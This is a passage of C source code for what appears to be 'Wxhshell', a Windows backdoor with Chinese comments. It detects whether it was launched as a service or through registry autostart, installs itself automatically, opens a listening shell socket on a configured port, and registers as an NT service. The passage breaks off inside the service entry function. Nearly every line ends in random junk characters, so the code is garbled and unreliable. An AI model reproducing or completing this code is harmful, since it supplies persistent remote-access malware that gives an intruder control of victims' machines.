ULONG InheritedFromUniqueProcessId; 4J|t?]ij|E
} PROCESS_BASIC_INFORMATION; YC=S5;
3IR
^
PROCNTQSIP NtQueryInformationProcess; /({;0I*!i
B_ja&) !s1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .}k(L4T|=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nx:KoB"ny
FP#FB$eP
HANDLE hProcess; .lBgp=!
PROCESS_BASIC_INFORMATION pbi; 1[E#vdbT
4Hb $0l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aup6?'G;
if(NULL == hInst ) return 0; dI*'!wK
DY{cQb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
0G <hn8>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KtB!"yy#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z?NEO>h7
Nwc!r(
if (!NtQueryInformationProcess) return 0; joXfmHB}
16X@^j_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PF`rWw
if(!hProcess) return 0; {SZ % Xb o
<w>/^|]#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Pwx~[<1""
LF?P>
1%-
CloseHandle(hProcess); ~:lKS;PRuK
o5Y2vmz?9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F52B~@.
if(hProcess==NULL) return 0; _Mc>W0'5@
"BVdPS DBk
HMODULE hMod; lFUWV)J\
char procName[255]; h(B,d,q"
unsigned long cbNeeded; TFR(
4W
9B dt (}0A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E2AW7f(/
Nt:8ogk/
CloseHandle(hProcess); kax\h
W3&tJ8*3
if(strstr(procName,"services")) return 1; // 以服务启动 'PlaM Oy
ciMM^ZRIb
return 0; // 注册表启动 D H^T x
} J$9:jE-4
PzZZ>7_6S
// 主模块 V5D2\n3A
int StartWxhshell(LPSTR lpCmdLine) }:z5t,u6
{ `nJu?5
SOCKET wsl; Y\+KoR';
BOOL val=TRUE; [m'CR 4(|
int port=0; 2.Yi(r
struct sockaddr_in door; HFo-4"
O'NW
Ebl/
if(wscfg.ws_autoins) Install(); &hV Zx
!OcENV
port=atoi(lpCmdLine); ,Vd7V}t
0{^H]Y
if(port<=0) port=wscfg.ws_port; x.$1<w64t
Qbeeq6
WSADATA data; 7ODaX.t->
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WxGSv#u
$R^AEa7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q;h3v1GC\P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |@j_2Q,
door.sin_family = AF_INET; +&ZX$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .~=HgOJ
door.sin_port = htons(port); >O]s&34
:a3LS|W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )%Y
IGV;&
closesocket(wsl); :DkAQ-<~
return 1; ~fzuwz
} dl l%4Sd
noNm^hFL
if(listen(wsl,2) == INVALID_SOCKET) { BH@b1}
closesocket(wsl); UP2.]B!d
return 1; */ OI*{Q
} %85Icg
Wxhshell(wsl); :#="%
WSACleanup(); L>Jd7;=
rOl6lQW
return 0;
FfM nul
V!|e#}1/
} SFjU0*B$
=^h~!ovj:
// 以NT服务方式启动 Fa3gJ[ZAqf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S|R|]J|
{ 3@5p"X
DWORD status = 0; j%& IL0
DWORD specificError = 0xfffffff; xRDiRj
&K:' #[3V
serviceStatus.dwServiceType = SERVICE_WIN32; #iis/6"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m/USC'U%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tLX,+P2|
serviceStatus.dwWin32ExitCode = 0; *,#q'!Hq
serviceStatus.dwServiceSpecificExitCode = 0; I ftxSaP
serviceStatus.dwCheckPoint = 0; +T_ p8W+j
serviceStatus.dwWaitHint = 0; o;J;*~g
#i@h{R01
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %!.M~5mCd
if (hServiceStatusHandle==0) return; t6u-G+}
4/wwn6I}G
status = GetLastError(); {^&@gkYY
if (status!=NO_ERROR) aIvBY78o
{ )teFS%
serviceStatus.dwCurrentState = SERVICE_STOPPED; %my
serviceStatus.dwCheckPoint = 0; DBbc|I/[l
serviceStatus.dwWaitHint = 0; LXhaD[1Rb
serviceStatus.dwWin32ExitCode = status; Qp:6=o0:
serviceStatus.dwServiceSpecificExitCode = specificError; d$1#<